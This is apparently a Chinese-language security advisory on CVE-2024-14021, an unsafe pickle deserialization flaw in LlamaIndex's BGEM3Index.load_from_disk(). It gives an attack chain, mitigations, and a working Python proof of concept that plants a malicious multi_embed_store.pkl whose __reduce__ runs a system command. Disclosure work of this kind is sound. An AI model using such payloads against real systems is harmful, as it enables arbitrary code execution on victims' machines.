IPBUF安全漏洞报告
English
CVE-2024-14021 CVSS 7.8 高危

CVE-2024-14021 LlamaIndex BGEM3Index不安全反序列化漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2024-14021
漏洞类型
不安全反序列化/远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LlamaIndex (run-llama/llama_index)

相关标签

不安全反序列化远程代码执行pickleLlamaIndexBGEM3Index高危漏洞CVE-2024-14021LLM应用框架漏洞利用

漏洞概述

CVE-2024-14021是LlamaIndex项目中一个严重的不安全反序列化漏洞。LlamaIndex是一个流行的开源大语言模型应用框架,广泛用于构建基于LLM的应用程序。该漏洞存在于BGEM3Index.load_from_disk()函数中,该函数位于llama_index/indices/managed/bge_m3/base.py文件。攻击者可以利用此漏洞通过构造恶意的pickle文件,在受害者加载索引时触发任意代码执行。由于该函数使用pickle.load()从用户提供的persist_dir路径中反序列化multi_embed_store.pkl文件,且没有任何签名验证或完整性检查,攻击者只需诱使受害者加载一个包含恶意序列化对象的目录即可实现远程代码执行。此漏洞CVSS评分为7.8,属于高危级别,攻击复杂度低,无需认证即可利用,但需要用户交互。该漏洞影响所有版本不超过0.11.6的LlamaIndex版本。

技术细节

该漏洞的核心问题在于LlamaIndex的BGEM3Index.load_from_disk()方法使用了Python内置的pickle模块进行反序列化操作。具体来说,该函数从用户可控的persist_dir参数指定的目录中读取multi_embed_store.pkl文件,并直接使用pickle.load()进行反序列化。Python的pickle协议在反序列化时可以执行任意代码,因为pickle可以包含被压扁(marshalled)的Python对象,包括可调用对象。当pickle.load()反序列化一个包含恶意构造的__reduce__或__reduce_ex__方法的对象时,反序列化过程会自动执行这些方法中定义的代码,从而导致任意代码执行。攻击者可以通过创建一个包含恶意序列化对象的pickle文件,并在其中植入后门代码或反弹shell命令,然后将该文件放入一个目录中,诱使受害者使用该目录作为persist_dir加载索引。由于没有任何完整性校验机制(如签名验证),受害者无法察觉该文件已被篡改。

攻击链分析

STEP 1
步骤1
攻击者创建恶意的pickle文件,其中包含精心构造的__reduce__方法,执行任意系统命令
STEP 2
步骤2
攻击者将恶意pickle文件命名为multi_embed_store.pkl并放入一个目录中
STEP 3
步骤3
攻击者通过社会工程学或其他方式诱使受害者使用该恶意目录作为persist_dir参数调用BGEM3Index.load_from_disk()
STEP 4
步骤4
受害者的应用程序执行pickle.load()反序列化恶意文件,触发__reduce__方法中定义的代码执行
STEP 5
步骤5
攻击者成功在受害者系统上执行任意代码,可能获取敏感数据、安装后门或完全控制受害系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2024-14021 PoC - LlamaIndex BGEM3Index Unsafe Deserialization This PoC demonstrates how a malicious pickle file can trigger RCE. """ import os import pickle import base64 # Malicious pickle payload that executes arbitrary code # This creates a reverse shell or executes system commands class MaliciousPayload: def __reduce__(self): # Replace with your actual payload cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_pickle(output_path): """Create a malicious pickle file for exploitation""" malicious_obj = MaliciousPayload() # Serialize the malicious object pickle_data = pickle.dumps(malicious_obj) # Create persist_dir structure os.makedirs(output_path, exist_ok=True) # Write the malicious pickle file pickle_path = os.path.join(output_path, 'multi_embed_store.pkl') with open(pickle_path, 'wb') as f: f.write(pickle_data) print(f"[+] Malicious pickle file created at: {pickle_path}") return pickle_path def exploit(target_persist_dir): """ Simulate exploitation by loading the malicious pickle In real attack, victim would call BGEM3Index.load_from_disk(target_persist_dir) """ pickle_path = os.path.join(target_persist_dir, 'multi_embed_store.pkl') if os.path.exists(pickle_path): print(f"[*] Loading pickle from: {pickle_path}") with open(pickle_path, 'rb') as f: # This triggers the arbitrary code execution data = pickle.load(f) print("[!] Pickle loaded successfully") if __name__ == "__main__": # Create malicious persist directory malicious_dir = "./malicious_persist_dir" create_malicious_pickle(malicious_dir) print("\n[*] To exploit, victim would call:") print(f" BGEM3Index.load_from_disk('{malicious_dir}')") print("\n[!] This PoC is for educational purposes only!")

影响范围

LlamaIndex (run-llama/llama_index) <= 0.11.6

防御指南

临时缓解措施
在官方修复发布之前,建议不要从不可信来源加载索引数据。如果必须使用load_from_disk功能,应验证persist_dir来源的可靠性,并考虑在隔离环境(如沙箱或容器)中运行相关代码。可以通过环境变量或配置禁用危险的pickle反序列化操作,并监控异常的系统命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表